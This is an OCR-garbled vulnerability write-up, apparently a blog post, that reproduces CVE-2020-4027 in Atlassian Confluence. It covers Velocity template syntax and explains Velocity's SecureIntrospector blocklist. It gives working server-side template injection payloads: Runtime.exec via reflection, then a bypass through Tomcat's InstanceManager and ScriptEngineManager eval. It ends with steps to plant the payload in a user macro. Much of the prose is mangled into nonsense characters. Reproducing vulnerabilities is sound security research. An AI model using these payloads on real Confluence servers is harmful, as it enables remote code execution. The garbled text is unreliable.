Confluence SSTI via Velocity
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# KHE(EAE#FSL, W#set, #if. #else, #end, #foreachZs

$ TELEFEASTFLA, : $name. $msg

FERRFRTIEE, TR{IEEERS. MEEHSsomeoneNanelXMRE, IHAFATIE

1 VelocityX%y, ®JfEF${someone}Name
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1, MMTENES ?

#set($prefix = "hello")
#set($name = "velocity")
#set($template = "$prefix $name")
$template

D:\JDK\11l\bin\java.exe "-javaagent:D:\JetBrains\IntelliJ IDEA\1
hello velocity

Process finished with exit code @

2, Wfa3EEmE ?

# TE5|F
#set($bill = "hello")
#set($name = $bill)

#H R
#set($name.pre = "cn")

# BHS|IA, velocity SEREMUEENEMNetTE
#set($name = $people.name)
$people.name EFETF $people.getName()

# %5
#set($name.first = $peolpe.getFirstName ($name))
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3, WMTEX—/ENED ?

#foreach( $num in [0..120])
this is $num."\n"

#end

HITER

VelocityT

D:\JDK\11\bin\java.exe "-j:

this
this
this
this
this
this
this
this
this
this

this
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#foreach($num in [0..2])

#if($num = 2)

is B
is 1
is
is
is
is
is
is
is
is

is

this $num , hello velocity

#else
#end
#end

AT

VelocityTrigger

agent:D:

D:\JDK\11\bin\java.exe "-javaagent:D:\JetBrains\Intellil

this 2

Process
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finished

hello velocity

with exit code 0




# EXT—NR, BFA getName, RESH
#macro(getName)

pen4uin

#end

## (FHiZ7%, velocity 4ME #getName() BISEGHEHZEMRA penduin
this is #getName()

VelocityTrigger

D: I"-.I JDK I"l.. 11 I"l.. bin I"l.. _I

this is pen4uin

with exit code 0@

# EXT—N%, BFH greet, SHE $name
#macro(greet $name)

hello $name, this is pen4uin

#end

#areet ()

PITER

VelocityTrigger

with exit code 0

WfIES RCE Sink fik

EN—PIE $clazz, BEFFERsH

BT String EEIER getClass() FHEBUEITHIZEAITE $obj

@Y Class HIERSIE forName() FRENAIEGSHATAIERINIS $rt

BIdRETFA getRuntime 3REX java.lang.Runtime BISLEIFERRSTERITSRS

*#

#set($clazz="str")
$clazz.getClass().forName('java.lang.Runtime') .getMethod('getRuntime',null).inv
oke(null, null) .exec('calc')
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B demovm
#set($clazz=
$clazz.getClass().forName( ) .getMethod( null).invoke (null, null

Calculator

Standard &

tBrains\Intellid IDEA\bin"

s finished with exit code O
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e Velocity Template Injection in Custom user macros - Macros Platform - CVE-2020-
4027

Affected versions of Atlassian Confluence Server and Data Center allowed remote
attackers with system administration
permissions to bypass velocity template injection mitigations via an injection
vulnerability in custom user macros.
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Definition of User Macro
Macro Body O Mo macro body
Processing Escaped
O Unrendered

You should use this option for bodies that are processed within the template before being output. Ensure that HTML is ultimately output
by the template.

@® Rendered

The body will be rendered so most HTML entered will be passed to the template unmodified but Confluence specific mark up such as
macro definitions will be rendered.

Template” | ## Macro title: My Macro
## Macro has a body: Y or N
## Body processing: Selected body processing option
## Qutput: Selected output option
##

## Developed by: My Name

## Date created: dd/mm/yyyy

## Installed by: My Name

## This is an example macro

## @param Name:title=Nameltype=string|required =true|desc=Your name

## @param Colour:title=Favourite Colour|type=enum|enumValues=red green,blue|default=red|desc=Choose your
favourite colour

See the documentation.

Save  Cancel

BII3ER AL iR

e https://confluence.atlassian.com/doc/writing-user-macros-4485.html

Template This is where you write the code that determines what the macro should
do.

* |se HTML and Confluence-specific XML elements in the macro
template,

* ‘You can use the Velocity templating language. Here is more information
on the Velocity project.

* |f your macro has a body, your template can refer to the macro body
text by specifying 'Skedy’.

* Fach parameter variable you use must have a matching metadata
definition, Use @param to define metadata for your macro parameters,

* ‘When using the information passed using parameters, refer to your
parameters as SparamiX{ where 20X is the parameter name that you
specifed in the Eparam metadata definition.

* |Jse Enoparams if your macro does not accept parameters,

See User Macro Template Syntax for more information and examples.

AILAANEZINEERET Velocity SEHIRY, R Uf@fEJ RCE Sink fk IX—HEI1ERY payload,
WIFRRARRA.

F2ENZ payload. 5|F marco, iR, AMFHKERIIAA.
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Velocity FSEEHNCRHPEETLATHIA

e Changes Report


https://confluence.atlassian.com/doc/writing-user-macros-4485.html
https://velocity.apache.org/engine/devel/changes.html

FEXNREHHRNIRE

New, optional Securelntrospector prohibits methods that involve manipulation of classes,
5 classloaders or reflection objects. Use this introspector to secure Velocity against a risk of template  wglass
writerslusing reflection to perform malicious acls.l. Fixes VELOCITY-179.

New, optional SecureIntrospector prohibits methods that involve manipulation of

classes, classloaders or reflection objects.
Use this introspector to secure Velocity against a risk of template writers
using reflection to perform malicious acts.

B0, RHEAIERY Securelntrospector JSREMRTEXE, EEHETS, EMFIXMK. WIDEE
GO ESEMA R REIEH.

e org.apache.velocity.util.introspection.SecureIntrospectorImpl

org.apache.v

SecurelntrospectorImpl ring[] ba SS ring[] bad es, Log log, Runtir runti
Method getMethod(( String methodName, Object[] params) IllegalArgumentException

checkObjectExecutePermission(C zz, String methodName)

£755% checkObjectExecutePermission() 4T LM, SA/S5IH marco FRkE.

e org.apache.velocity.util.introspection.SecurelntrospectorImpl#checkObjectExecut
ePermission

&& meth

string(

.contain

.contains(

WE, EIARZEIIFEE (badClasses, badPackage)



BT java.lang.Class FEERBEREN, LN 'xxx'.getClass() B payload tBFTCEIEEFEA,
SHiHSE xxx due to security restrictions
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e User Macro Template Syntax


https://confluence.atlassian.com/doc/user-macro-template-syntax-223906130.html

Objects available to your macro

Including the macro body and parameters, the following Confluence objects are available to the

macro:
Variable Description
Sbody The body of the macro (if the macro has a

body)

Sparamfoc, Mamed parameters (“foo", "bar”) passed to
Sparambar, .. YOuUr macro.
5?6:3"{“&:‘1‘1&}
Sconfig The BootstrapManager object, useful for

retrieving Confluence properties.
SrenderContext The PageContext object, useful for (among
other things) checking

SrenderContext.ocutputType

Szpace The Space object that this content object

(page, blog post, etc) is located in (if relevant).

Scontent The current ContentEntity object that this
macro is a included in (if available).

developer documentation.

Class Reference

String

5tring

BootstrapManager

PageContext

Space

ContentEntityObject

Macros can also access objects available in the default Velocity contexf] as described in the

Macros can also access objects available in the default Velocity context , ®LAJ
B ETS2hRY objects, $RIEY ? EAEEXTE Java BRANITEEIIXILESSMILIEN ), HEE
Java RUREE, #$K Object HIEREZH, BIFE XMLDecoder RFFFILHHI object 17&, IHH

Cobalt Strike RCE A#pEZ7mY Swing object #7&s ?

EEETRYIA  default Velocity context #1 available objects EREHRLE

e Confluence objects accessible from Velocity


https://developer.atlassian.com/server/confluence/confluence-objects-accessible-from-velocity/

Default Velocity context

The following list highlights the most important entries in the default Velocity context. You can get a full list by calling
MacroUtils.defaultVelocityContext() # . The default Velocity context is used for templates rendered by:

* Confluence WebWork actions.
* macros.
* Email notifications (with additions - see below).

* LUser macro (with additions - see below).
Variable Description
The current WebWork action
$action Class Reference:

Your action class, normally a subclass of ConfluenceActionSupport 2

$i18n.getText() should be used for plugin internationalization.
$il8n
Class Reference: [18MBean 7~

Provides a date and time formatter suitable for the expaorting user's locale and

$dateFormatter environment.

Class Reference: DateFormatter

The current serviet request object (if available)
Class Reference: =HttpServietRequest &

The current context path. Used for creating relative URLs:

<a

href="%req.contextPath/dashboard.action"»

(R N =t

freq.contextPath
Dashboard

4 <iar

Class Reference: String

The current serviet response cbject (should not be accessed in Velocity)

Class Reference: HttpServletResponse &
Can retrieve the current global settings with $settingsManager.getGlobalSettings()

fzettingsManager
Class Reference: SettingsManager &

HLSKENE ServlietContext, MFHEAEAL $req thEHES, IEAMEIXEEAEHEREEN

$res

$req

VAR getServletContext() J5iAFKENZEIAY ServletContext:

${req.getServietContext()}
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People Create =

xiachewu / Dashboard / xiachenwu

req test

org.apache.catalina.core. ApplicationContextFacade@4dcactd 82

ZBAY ApplicationContextFacade, #BE/Eid Tomcat AESHINEEMEX MR, BANEENE
F7E request XNHEALUBERITSRIREY StandardContext XggR:

ApplicationContextFacade — ApplicationContext — StandardContext

ENZE| ServletContext Fizffai#HfT Exploit 0B? HHBRIAIRMESPIRISEEXHIFIA.
PFENHRY, SEEESRNT, RE

RFEEXT SevletConext BEFAERLTETRIREFFA or BEAIER
Bpe,
e Method Summary
Method Detail
getAttribute

java.lang.Object getAttribute(java.lang.String name)

Returns the value of the named atiribute as an Object, or null if no atiribufe of the given name exisis.

Altributes can be sel fwo ways. The servlet container may set attributes to make available custom informafien about a request. For example, for requesis made using HTTPS, the attribute javax.zervl
programmatically using setAttribute(java.lang.5tring, java.lang.Object). This allows information to be embedded into a request before a RequestDispatcher call.

Attribute names should follow the same conventions as package names. This specificafion reserves names matching java.*, javax.®, and sun.®.
Parameters:

name - a 5tring specifying the name of the attribuie
Returns:

an Opjsct containing the value of the attribute, or null if the attribute does not exist

BE2I57% getAttribute() , Returns the value of the named attribute as an

Object, or null if no attribute of the given name exists , ERRZGEAIRIERES
(key) iRE—1 Object (value) .,

ESoEiT IDEA 9 Evaluate Expression IHEEEEIZPELWIZEM

this.request.getServlietContext().getAttributeNames()

res

javax.servlet.ServletRequest.getAttributeNames 4&MTTRERR, BRIIE(EHEMES:


https://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/ServletRequest.html

Evaluate

PS: ALAARKET IDEA B9THEE, (FERRBHNINE, B— jsp BUE Confluence webapp BRBEIA,
R

<%@ page import="java.util.Enumeration" %>
<%
Enumeration<String> enumeration =
request.getServietContext().getAttributeNames();
while(enumeration.hasMoreElements()){

out.println(enumeration.nextElement() + "<br>");
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Javax.servlet.context.tempdir

org.apache.catalina.resources
com.atlassianjohnson.Johnson:EventContainer
org.apache.catalina.webappVersion
org.apache.tomcat.InstanceManager
org.apache.catalinajsp_classpath
org.apachejasper.compiler.ELInterpreter

org.apache jasper.compiler.TldCache
org.apache.tomcatJarScanner

sitemesh.factory

webwork.servlet

confluence_startup_time

javax.servlet.context.orderedLibs
org.springframework.web.context.support.ServietContextScope
org.springframework.web.context. WebApplicationContext. ROOT
javax.websocket.server.ServerContainer
com.atlassian,johnson.Johnson:Config

seraph_config

org.apache jasper.runtime.JspApplicationContextimpl

R EREZ, AILI—EEARER, RESEEE InstanceManager

e org.apache.tomcat.InstanceManager

B newInstance() JEALAGERR TSH@ERZE B92E, InstanceManager 2MEO, FRLIE
BEAESLIISSRRBEEAYSLA,

¥ai& poc IRIFAESE

IRERYERIASEINZERIXSS: DefaultInstanceManager

${req.getServietContext().getAttribute('org.apache.tomcat.InstanceManager')}
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req test

org.apache.catalina.core.DefaultinstanceManager@72ddabed

VF DefaultInstanceManager B newInstance() FiESCAIVETEMES ARV

${req.getServietContext().getAttribute('org.apache.tomcat.InstanceManager').new

Instance('javax.script.ScriptEngineManager')}

= Confluence Spaces ¥  People

xiaoheiwu / Dashboard / xiacheiwu

req test

javax.script.ScriptEngineManager@5ef34490

BRIHENZE] ScriptEngineManager .

YREX Nashorn MAS|ZEHFERHE eval() AiEHfT Java 8, 5Thk Exploit RIREERD

${req.getServietContext().getAttribute('org.apache.tomcat.InstanceManager').new
Instance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.l

ang.Runtime.getRuntime() .exec('calc')")}
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xiaoheiwu / Dashboard / xiacheiwu
Calculator = ] *
req test = Standard 9
Process[pid=20284, exitValue="not exited"] 0
M+ M- M5
Yo CE T |
e b2 ix —=
7/ 8 9 X
4 5 6 o
1 2 3 +
- 0 3 =

FXE, XTFXNREAGETE (D) IEMER T, SR EEEEN, BRERSLEA—T"DEE"HIR
5, AR IEIE!

RS

gREERE, &

e Manage apps — User Macros — Create a User Macro — Template —
Definition of User Macro

QbFEAN payload

${req.getServietContext().getAttribute('org.apache.tomcat.InstanceManager').new

Instance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.l
ang.Runtime.getRuntime() .exec('calc')")}
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Definition of User Macro
Macro Body (O No macro body
Processing O Escaped

O Unrendered
You should use this option for bodies that are processed within the template before being output. Ensure that HTML is ultimately output by
the template

® Rendered
The body will be rendered so most HTML entered will be passed to the template unmedified but Confluence specific mark up such as macro

definitions will be rendered.

Template” | ## Macro title: My Macro
## Macro has a body: Y or N
## Body processing: Selected body processing option
## Qutput: Selected output option
i
## Developed by: My Name
## Date created: dd/mm/yyyy
## Installed by: My Mame

## This is an example macro

## @param Nametitie=Name|type=string|required=true|desc=Your name

## @param Colour:title=Favourite Colour|type=enum|enumValues=red.green.blue|defauli=red|desc=Choose your favourite
colour

${req.getServietContext().getAttribute('org.apache.tomcat.InstanceManager’).newlnstance(javax.script.5criptEngineManager

'}.getEngineByName('js’}.eval("java.lang.Runtime.getRuntime().exec('calc’)")}

See the documentation

Save Cancel

FREEIREIER
o B C ##, BI&E page, SIHE—2BEENXH User Macro , FREGEDEIfEA
2 Confluence Spaces ¥ People Create »

xiacheiwu / Dashboard / xiacheiwu

CVE20204027

Calculator 0 [m] X
Process[pid=14320, exitValue="not exited"] = Standard 09 @
0
M+ M- MS

% CE z il

59 x? i i

7 8 9 x

4 5 6 s

1 2 3 +

- 0 . =

Ox04 IhGE

Confluence Velocity SSTI
Confluence OGNL Injection

Confluence Post-Exploitation
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https://blog.play2win.top/2021/10/20/Confluence%E6%A8%AI%E6%ID%BFHE6%BI%ASHES%S

5%A5%EF%BC%88CVE-2020-4027%EF%BC%89%ES%A4%8D%E7%8E%BO/
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